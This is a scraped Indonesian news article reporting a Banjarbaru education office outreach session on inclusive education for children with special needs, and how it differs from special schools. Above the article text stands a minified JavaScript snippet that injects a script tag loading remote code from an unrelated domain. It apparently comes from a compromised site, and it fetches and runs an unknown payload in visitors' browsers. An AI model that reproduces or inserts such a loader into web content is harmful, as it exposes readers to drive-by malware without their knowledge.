(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Pendidikan Inklusif Anak Berkebutuhan Khusus Itu Berbeda Dengan SLB


BANJARBARU, Pendidikan inklusif  merupakan sistem layanan pendidikan  mengatur agar difabel dapat dilayani di sekolah terdekat, di kelas reguler bersama-sama teman seusianya. Tanpa harus dikhususkan kelasnya, siswa dapat belajar bersama dengan aksebilitas yang mendukung untuk semua siswa tanpa terkecuali difabel.

Hal tersebut disampaikan Sekretaris Dinas Pendidikan Kota Banjarbaru Sartiyuni saat sosialisasi pendidikan inklusif di Kecamatan Landasan Ulin, Selasa (10/4).

Pendidikan inklusif dapat berarti penerimaan siswa atau mahasiswa yang memiliki hambatan ke dalam kurikulum, lingkungan, interaksi sosial dan konsep diri (visi-misi) sekolah atau universitas.

“Pendidikan inklusif bertujuan untuk menyatukan atau menggabungkan pendidikan reguler dengan pendidikan khusus ke dalam satu sistem lembaga pendidikan yang dipersatukan untuk mempersatukan kebutuhan semua,” kata Ketua Pokja Inklusif Sartiyuni. Pendidikan inklusif bukan sekedar metode atau pendekatan pendidikan melainkan suatu bentuk implementasi filosofi yang mengakui kebhinekaan antar manusia yang mengemban misi tunggal untuk membangun kehidupan bersama yang lebih baik.

“Tujuan pendidikan inklusif adalah untuk menyatukan hak semua orang tanpa terkecuali dalam memperoleh Pendidikan,” kata Sartiyuni.

Sasaran utama kegiatan para peserta dapat membagikan ilmu pengetahuan yang didapat kepada masyarakat umum tentang apa artinya pendidikan inklusif. Peserta sosialisasi adalah Ketua RT/RW, tokoh agama/masyarakat dan unsur perempuan Kelurahan se Kecamatan Landasan Ulin.

“Pada peringatan Hari Anak Nasional beberapa waktu lalu, Banjarbaru dijadikan kota inklusif. Dimana bila ada Anak Berkebutuhan Khusus (ABK) mau masuk ke sekolah reguler maka harus diterima dengan syarat di sekolah tersebut harus ada guru khusus yang menangani anak Berkebutuhan Khusus,” kata Husnul Khatimah, narasumber kegiatan.

Foto : devi

Karena sekolah inklusif berbeda dengan Sekolah Luar Biasa (SLB). Anak Berkebutuhan Khusus adalah anak luar biasa. Adapun karakteristik dan hambatan yang dimilki, ABK memerlukan bentuk pelayanan pendidikan khusus yang disesuaikan dengan kemampuan dan potensi mereka. “Contohnya bagi tunanetra mereka memerlukan modifikasi teks bacaan menjadi tulisan braille dan tunarungu berkomunikasi menggunakan bahasa isyarat,” sebut Husnul Khatimah.

Oleh karena itulah sangat penting sosialisasi pendidikan inklusif dilaksanakan agar masyarakat dapat menerima adanya Anak Berkebutuhan Khusus (ABK) ini di masyarakat.

Masyarakat bisa mendapatkan informasi selengkap-lengkapnya tentang layanan pendidikan inklusif. Terlibat dan berperan aktif serta berfartisifasi dalam upaya menciptakan iklim pendidikan yang kondusif dengan memberikan dukungan sumber daya dalam perencanaan, pengawasan dan evaluasi program. (devi)

Reporter : Devi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

47 menit ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

4 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

5 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

7 jam ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

9 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

9 jam ago

This website uses cookies.